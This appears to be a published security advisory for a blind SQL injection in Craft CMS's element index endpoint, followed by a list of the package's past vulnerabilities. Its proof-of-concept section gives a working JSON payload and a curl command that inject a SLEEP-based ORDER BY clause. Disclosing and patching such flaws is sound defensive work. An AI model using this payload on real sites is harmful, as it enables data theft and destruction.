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Craft CMS Vulnerable to SQL Injection in Element Indexes via `criteria[orderBy]`

  • Disclosed: 09.02.2026
  • Updated: 11.10.2026 10:22

Summary

The element-indexes/get-elements endpoint is vulnerable to SQL Injection via the criteria[orderBy] parameter (JSON body). The application fails to sanitize this input before using it in the database query. An attacker with Control Panel access can inject arbitrary SQL into the ORDER BY clause by omitting viewState[order] (or setting both to the same payload).

[!NOTE] The ORDER BY clause executes per row. SLEEP(1) on 10 rows = 10s delay.

PoC

Required Permissions

  • Access to the Control Panel

Steps to reproduce

  1. Log in to the control panel
  2. Navigate to any element index (e.g., Users /admin/users, Entries, Assets, etc.)
  3. Intercept the POST request to /index.php?p=admin/actions/element-indexes/get-elements
  4. Modify the JSON body to the following:
js
{"context":"index","elementType":"craft\\elements\\User","source":"*","baseCriteria":{"siteId":1},"criteria":{"limit":100,"orderBy": "(elements.id) DESC, (SELECT SLEEP(5)) --"},"viewState":{"static":false}}
  1. Send the request
  2. Observe a delay in the response (delay = rows × sleep time)

Alternatively, you can use the following curl (bash syntax) command (replace cookie, CSRF token, and target domain as needed):

bash
curl --path-as-is -k -X $'POST' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0' -H $'Accept: application/json' -H $'Content-Type: application/json' -H $'X-CSRF-Token: <CSRF-TOKEN>' -H $'Content-Length: 208' -b $'<Cookie>' --data-binary $'{\"context\":\"index\",\"elementType\":\"craft\\\\elements\\\\User\",\"source\":\"*\",\"baseCriteria\":{\"siteId\":1},\"criteria\":{\"limit\":100,\"orderBy\": \"(elements.id) DESC, (SELECT SLEEP(0.2)) --\"},\"viewState\":{\"static\":false}}' $'http://craft.local/index.php?p=admin%2Factions%2Felement-indexes%2Fget-elements'

Impact

With this Blind SQLi, an attacker can:

  • Exfiltrate data character-by-character.
  • Modify or destroy data (drop tables, update records, alter schema).

Root Cause

The orderBy parameter is not validated or sanitized. Wrapping the payload in parentheses (e.g., (elements.id)) bypasses internal quoting mechanisms.

Affected software

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PlatformPackageVulnerable versionsFixed in
Composer package craftcms/cms >= 5.0.0-RC1, < 5.8.22, >= 4.0.0-RC1, < 4.16.18 5.8.22, 4.16.18

References

CVSS score -
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Weakness (CWE)
CWE-89
Platform
Composer
Package
craftcms/cms
Disclosed
09.02.2026
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-2453-mppf-46cj - CC BY 4.0

Vulnerability history: craftcms/cms

All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (127) in the archive
Total entries
127
First → latest
07.2021 08.2026
Without a fix
6
Exploited in attacks
4

Severity breakdown

  • Critical 9
  • High 41
  • Medium 65
  • Low 12

Disclosures per year

Severity:
  1. Craft CMS: Passkey login accepts replayed WebAuthn assertions
    Critical CVE-2026-72780 >= 5.0.0-RC1, < 5.10.5 5.10.5
  2. Craft CMS: Arbitrary user password reset leading to administrator account takeover
    High CVE-2026-72786 >= 5.0.0-RC1, < 5.10.8 5.10.8
  3. Craft CMS: Authenticated RCE through Twig sandbox escape
    High CVE-2026-72781 >= 5.0.0-RC1, < 5.10.7, >= 4.0.0-RC1, < 4.18.3 5.10.7, 4.18.3
  4. Craft CMS: Authenticated RCE via `condition.config` JSON cleanse bypass
    High CVE-2026-72778 >= 5.0.0-RC1, < 5.10.6, >= 4.0.0-RC1, < 4.18.2 5.10.6, 4.18.2
  5. Craft CMS: RCE via missing cleanseConfig in FieldsController::actionRenderCardPreview
    High CVE-2026-56382 >= 5.5.0, < 5.9.14 5.9.14
  6. Craft CMS: Potential authenticated Remote Code Execution via referrer redirect
    High CVE-2026-55794 >= 5.9.0, < 5.10.0 5.10.0
  7. Craft CMS: DOM XSS via GitHub issue title in CraftSupport widget
    High CVE-2026-55790 >= 5.0.0-RC1, < 5.9.23, >= 4.0.0-RC1, < 4.17.16 5.9.23, 4.17.16
  8. Craft CMS Vulnerable to Unauthorized Deletion of Destination Folders During Forced Moves
    High CVE-2026-50282 >= 5.0.0-RC1, < 5.9.21, >= 4.0.0-RC1, < 4.17.14 5.9.21, 4.17.14
  9. Craft CMS's mass assignment via id in newAttributes during bulk duplicate overwrites existing elements
    High CVE-2026-50281 >= 5.7.0, < 5.9.21 5.9.21
  10. Craft CMS: Missing peer-permission check in `AssetsController::actionDeleteFolder` allows deletion of other users' assets
    High CVE-2026-50284 >= 5.0.0-RC1, < 5.9.22, >= 4.0.0-RC1, < 4.17.15 5.9.22, 4.17.15
  11. Craft CMS: Authorship spoofing in `entries/save-entry` via pre-check/post-mutation authorization gap
    High CVE-2026-50279 >= 5.0.0-RC1, < 5.9.21 5.9.21
  12. Craft CMS: Blind SSRF and Arbitrary JavaScript Injection via Host Header Poisoning in actionResourceJs
    Critical CVE-2026-55791 >= 5.0.0-RC1, < 5.10, >= 4.0.0-RC1, < 4.18 5.10, 4.18
  13. Craft CMS's Missing Volume Permission Check in AssetsController::actionShowInFolder Allows Information Disclosure
    High CVE-2026-44012 >= 5.0.0-RC1, < 5.9.18 5.9.18
  14. Craft CMS has Potential Authenticated Remote Code Execution via Malicious Attached Behavior
    High CVE-2026-44011 >= 4.0.0, < 4.17.12, >= 5.0.0, < 5.9.18 4.17.12, 5.9.18
  15. Craft CMS's Missing Authorization in GraphQL Address Resolver Allows Cross-Scope PII Disclosure
    High CVE-2026-44010 >= 5.0.0, < 5.9.18, >= 4.0.0, < 4.17.12 5.9.18, 4.17.12
  16. Craft CMS is Vulnerable to Authenticated Remote Code Execution via Malicious Attached Behavior
    High CVE-2026-33157 >= 5.6.0, < 5.9.13 5.9.13
  17. Craft CMS Vulnerable to Privilege Escalation/Bypass through UsersController->actionImpersonateWithToken()
    High CVE-2026-32267 >= 4.0.0-RC1, < 4.17.6, >= 5.0.0-RC1, < 5.9.12 4.17.6, 5.9.12
  18. Craft CMS vulnerable to behavior injection RCE ElementIndexesController and FieldsController
    High CVE-2026-32264 >= 4.0.0-RC1, < 4.17.5, >= 5.0.0-RC1, < 5.9.11 4.17.5, 5.9.11
  19. Craft CMS vulnerable to behavior injection RCE via EntryTypesController
    High CVE-2026-32263 >= 5.6.0, < 5.9.11 5.9.11
  20. CraftCMS has an RCE vulnerability via relational conditionals in the control panel
    High CVE-2026-31857 >= 5.0.0-RC1, < 5.9.9, >= 4.0.0-beta.1, < 4.17.4 5.9.9, 4.17.4
  21. CraftCMS's `ElementSearchController` Affected by Blind SQL Injection
    High CVE-2026-31858 >= 5.0.0-RC1, < 5.9.9 5.9.9
  22. Craft CMS has unauthenticated activation email trigger with potential user enumeration
    High CVE-2026-29069 >= 5.0.0-RC1, < 5.9.0-beta.2, >= 4.0.0-RC1, < 4.17.0-beta.2 5.9.0-beta.2, 4.17.0-beta.2
  23. Craft CMS Vulnerable to Authenticated RCE via "craft.app.fs.write()" in Twig Templates
    Critical CVE-2026-28697 >= 5.0.0-RC1, < 5.9.0-beta.1, >= 4.0.0-RC1, < 4.17.0-beta.1 5.9.0-beta.1, 4.17.0-beta.1
  24. Craft CMS has IDOR via GraphQL @parseRefs
    High CVE-2026-28696 >= 4.0.0-RC1, < 4.17.0-beta.1, >= 5.0.0-RC1, < 5.9.0-beta.1 4.17.0-beta.1, 5.9.0-beta.1
  25. Craft CMS has Cloud Metadata SSRF Protection Bypass via DNS Rebinding
    High CVE-2026-27127 >= 5.0.0-RC1, < 5.8.23, >= 3.5.0, < 4.16.19 5.8.23, 4.16.19
  26. Craft CMS Vulnerable to potential authenticated Remote Code Execution via malicious attached Behavior
    High CVE-2026-25498 >= 5.0.0-RC1, < 5.8.22, >= 4.0.0-RC1, < 4.16.18 5.8.22, 4.16.18
  27. Craft CMS: GraphQL Asset Mutation Privilege Escalation
    High CVE-2026-25497 >= 5.0.0-RC1, < 5.9.0-beta.1, >= 4.0.0-RC1, < 4.17.0-beta.1 5.9.0-beta.1, 4.17.0-beta.1
  28. Craft CMS Vulnerable to SQL Injection in Element Indexes via `criteria[orderBy]` this entry
    High CVE-2026-25495 >= 5.0.0-RC1, < 5.8.22, >= 4.0.0-RC1, < 4.16.18 5.8.22, 4.16.18
  29. Craft CMS vulnerable to potential authenticated Remote Code Execution via malicious attached Behavior
    High CVE-2025-68455 >= 5.0.0-RC1, < 5.8.21, >= 4.0.0-RC1, < 4.16.17 5.8.21, 4.16.17
  30. Unauthenticated Craft CMS users can trigger a database backup
    High CVE-2025-68456 >= 5.0.0-RC1, < 5.8.21, >= 3.0.0, < 4.16.17 5.8.21, 4.16.17
  31. Craft CMS Contains a Potential Remote Code Execution Vulnerability via Twig SSTI
    High CVE-2025-46731 >= 4.0.0-RC1, < 4.14.13, >= 5.0.0-RC1, < 5.6.15 4.14.13, 5.6.15
  32. Craft CMS Allows Remote Code Execution
    Critical · 10.0 Exploited in attacks CVE-2025-32432 >= 3.0.0-RC1, < 3.9.15, >= 4.0.0-RC1, < 4.14.15, >= 5.0.0-RC1, < 5.6.17 3.9.15, 4.14.15, 5.6.17
  33. Craft CMS has a potential RCE with a compromised security key
    High · 8.0 Exploited in attacks CVE-2025-23209 >= 5.0.0-RC1, < 5.5.8, >= 4.0.0-RC1, < 4.13.8 5.5.8, 4.13.8
  34. Craft CMS has potential RCE when PHP `register_argc_argv` config setting is enabled
    Critical · 9.8 Exploited in attacks CVE-2024-56145 >= 5.0.0-RC1, < 5.5.2, >= 4.0.0-RC1, < 4.13.2, >= 3.0.0, < 3.9.14 5.5.2, 4.13.2, 3.9.14
  35. Craft CMS vulnerable to Potential Remote Code Execution via missing path normalization & Twig SSTI
    High · 7.2 CVE-2024-52293 >= 4.0.0-RC1, < 4.12.2, >= 5.0.0-RC1, < 5.4.3 4.12.2, 5.4.3
  36. Craft CMS Arbitrary System File Read
    High · 7.7 CVE-2024-52292 >= 5.0.0-alpha.1, < 5.4.9, >= 3.5.13, < 4.12.8 5.4.9, 4.12.8
  37. Local File System Validation Bypass Leading to File Overwrite, Sensitive File Access, and Potential Code Execution
    High · 8.4 CVE-2024-52291 >= 5.0.0-RC1, < 5.4.6, >= 4.0.0-RC1, < 4.12.5 5.4.6, 4.12.5
  38. Craft CMS SQL injection vulnerability via the GraphQL API endpoint
    Critical · 9.8 CVE-2024-37843 <= 3.7.31 no fix
  39. Craft CMS Feed-Me
    High · 7.5 CVE-2023-36260 < 4.6.2 4.6.2
  40. Craft CMS Remote Code Execution vulnerability
    Critical · 10.0 CVE-2023-41892 >= 4.0.0-RC1, < 4.4.15 4.4.15
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